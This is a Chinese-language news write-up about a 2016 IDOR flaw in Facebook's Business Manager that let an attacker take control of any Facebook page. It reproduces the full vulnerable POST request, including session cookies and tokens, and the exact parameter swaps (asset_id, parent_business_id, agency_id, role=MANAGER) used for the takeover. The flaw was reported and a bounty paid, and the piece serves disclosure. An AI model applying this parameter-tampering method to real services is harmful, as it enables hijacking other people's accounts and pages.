如何黑掉你的Facebook?這位來自印度的安全研究專家表示有話要說。根據國外媒體的最新報道,一位名叫ArunSureshkumar的印度安全專家在Facebook的“企業管理平臺”(BusinessManager)中發現了一個嚴重的漏洞,攻擊者可以利用該漏洞來攻擊任何人的Facebook主頁。
Facebook的企業管理平臺(BusinessManager)是什么?
“企業管理平臺”可以幫助企業、廣告代理商、或行銷人員在統一界面下集中管理企業旗下的Facebook主頁、廣告賬號、以及付款方式,從而避免了管理人員需要不斷切換界面的尷尬局面。
大型企業旗下通常會有多個Facebook粉絲主頁,而這些主頁又各自有不同的市場定位和目標。對于企業管理者而言,“企業管理平臺”可以幫助他們在同一界面下管理所有的粉絲專頁和廣告賬號,不僅如此,他們還可以查看、移除、或變更相應用戶的權限。
而各個Facebook粉絲專頁的管理者可以登入“企業管理平臺”,并直接訪問廣告賬號和主頁的各種信息。此時并不會向雇主顯示所有的Facebook個人資料,僅會顯示姓名、公司名稱、以及廣告賬號等信息,所以管理者不必擔心需要將工作上接觸的人加為Facebook好友。
不安全的直接對象引用
在我們對這一攻擊技術進行分析之前,請允許我先給大家介紹一下“不安全的直接對象引用”的概念。
根據OWASP項目(開放式Web應用程序安全項目)所提供的定義,當一個Web應用程序可以根據用戶提供的輸入信息來向用戶提供對象的直接訪問,那么這就是一種不安全的直接對象引用。這個漏洞的存在,將允許攻擊者繞過系統的身份驗證機制,并直接訪問到網絡系統中的所有資源。
根據OWASP項目官方提供的信息:
“不安全的直接對象引用將允許攻擊者繞過系統的身份驗證機制,并可以通過修改對象的引用參數值來直接訪問系統資源。這些資源有可能是屬于其他用戶的數據庫數據,也有可能是存儲在文件系統中的文件。如果Web應用程序在沒有對用戶的輸入數據進行安全檢測的情況下直接向用戶提供了請求對象的訪問權限,那么就會出現這種不安全的情況。”
Facebook漏洞分析
Sureshkumar在Facebook的企業管理平臺中發現了一個IDOR(InsecureDirect Object References)漏洞,而在這個漏洞的幫助下,他可以在十秒之內獲取到任意Facebook主頁的控制權。
Sureshkumar用他的Facebook賬號(ID=907970555981524)添加了一個測試賬號(作為partner賬號),這個partner賬號的ID為991079870975788。他在測試中使用了BurpSuite來攔截Facebook的網絡請求信息,并且修改了請求中的部分數據。
Sureshkumar在他發表的分析報告中公布了包含漏洞的網絡請求數據:
POST /business_share/asset_to_agency/?dpr=2 HTTP/1.1
Host: business.facebook.com
Connection: close
Content-Length: 436
Origin: https://business.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer:https://business.facebook.com/settings/pages/536195393199075?business_id=907970555981524
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: rc=2; datr=AWE3V–DUGNTOAy0wTGmpAXb; locale=en_GB;sb=BWE3V1vCnlxJF87yY9a8WWjP; pl=n; lu=gh2GPBnmZY1B1j_7J0Zi3nAA;c_user=100000771680694; xs=25%3A5C6rNSCaCX92MA%3A2%3A1472402327%3A4837;fr=05UM8RW0tTkDVgbSW.AWUB4pn0DvP1fQoqywWeORlj_LE.BXN2EF.IL.FfD.0.0.BXxBSo.AWXdKm2I;csm=2; s=Aa50vjfSfyFHHmC1.BXwxOY; _ga=GA1.2.1773948073.1464668667; p=-2;presence=EDvF3EtimeF1472469215EuserFA21B00771680694A2EstateFDutF1472469215051CEchFDp_5f1B00771680694F7CC;act=1472469233458%2F6
parent_business_id=907970555981524&agency_id=991079870975788&asset_id=536195393199075&role=MANAGER&__user=100000771680694&__a=1&__dyn=aKU-XxaAcoaucCJDzopz8aWKFbGEW8UhrWqw-xG2G4aK2i8zFE8oqCwkoSEvmbgcFV8SmqVUzxeUW4ohAxWdwSDBzovU-eBCy8b48xicx2aGewzwEx2qEN4yECcKbBy9onwFwHCBxungXKdAw&__req=e&__be=-1&__pc=PHASED%3Abrands_pkg&fb_dtsg=AQHoLGh1HUmf%3AAQGT4fDF1-nQ&ttstamp=265817211176711044972851091025865817184521026870494511081&__rev=2530733
那么拿到這些數據之后,怎么才能攻擊Facebook主頁呢?
他用目標Facebook賬號的ID值替換了請求數據中“asset_id”參數值,然后交換了“parent_business_id”和“agency_id”的值。除此之外,他還將“role”參數的值修改成了“MANAGER”。
parent_business_id= 991079870975788
agency_id= 907970555981524
asset_id =190313461381022
role= MANAGER
通過上述這一系列操作之后,Sureshkumar演示了如何攻擊Facebook主頁,并獲取到了企業管理平臺頁面的管理員權限。除此之外,Sureshkumar還發布了一段攻擊演示視頻。
PoC視頻:
https://youtu.be/BSnksWX5Kn0 (騰訊視頻上傳中,請稍后)
結束語
這位來自印度的安全研究專家于2016年8月29日正式將該漏洞提交給了Facebook。Facebook的安全技術人員對該漏洞進行了分析,并且在調查過程中還意外發現了平臺中的另外一個安全漏洞。
根據Facebook的漏洞獎勵計劃,這位社交網絡中的巨頭向Sureshkumar提供了一萬六千美元的漏洞獎金。這個漏洞竟然價值1.6萬美金,請問各位BugHunter心動了嗎?